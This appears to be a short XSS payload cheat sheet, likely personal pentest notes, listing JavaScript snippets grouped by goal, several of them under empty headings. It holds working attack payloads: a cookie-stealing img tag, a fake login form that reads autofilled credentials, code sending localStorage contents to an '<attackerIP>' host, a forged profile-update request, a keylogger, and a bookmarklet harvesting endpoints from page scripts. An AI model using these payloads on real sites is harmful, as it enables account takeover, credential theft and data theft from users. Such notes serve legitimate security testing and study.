Payloads

XSS Filter Evasion Cheatsheet (OWASP)

In modern HTML (HTML5), the / at the end of a self-closing tag is optional, but in XHTML is required.

Stealing Cookies

img

<img src="http://localhost?c='+document.cookie+'" />

fetch

Collaborator

Webhook

external

Autofilled Credentials

createForm.js

createForm.js

// create the input elements
let usernameField = document.createElement("input")
usernameField.type = "text"
usernameField.name = "username"
usernameField.id = "username"

let passwordField = document.createElement("input")
passwordField.type = "password"
passwordField.name = "password"
passwordField.id = "password"

// append the elements to the body of the page
document.body.appendChild(usernameField)
document.body.appendChild(passwordField)

// exfiltrate as needed (we need to wait for the fields to be filled before exfiltrating the information)
setTimeout(function() {
 console.log("Username:", document.getElementById("username").value)
 console.log("Password:", document.getElementById("password").value)
}, 1000);

savedCreds.js

Local Secrets

Local Storage

let data = JSON.stringify(localStorage)
let encodedData - encodeURIComponent(data)
fetch("http://<attackerIP>/exfil?data=" + encodedData)

Session Storage

Session Riding

XMLHttpRequest

let xhr = new XMLHttpRequest();
xhr.open('POST','http://localhost/updateprofile',true);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.send('email=[e-mail]’);

Keylogging

Log keypresses

document.onkeypress = function(e) {
 get = window.event ? event : e
 key = get.keyCode ? get.keyCode : get.charCode
 key = String.fromCharCode(key)
 console.log(key)
}

Fetch keypresses

Remote Resources

fetch

fetch('http://localhost/endpoint’)

img

script

Sorcery?

?

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;const%20results=new%20Set;for(var%20i=0;i<scripts.length;i++){var%20t=scripts[i].src;""!=t&&fetch(t).then(function(t){return%20t.text()}).then(function(t){var%20e=t.matchAll(regex);for(let%20r%20of%20e)results.add(r[0])}).catch(function(t){console.log("An%20error%20occurred:%20",t)})}var%20pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const%20match%20of%20matches)results.add(match[0]);function%20writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();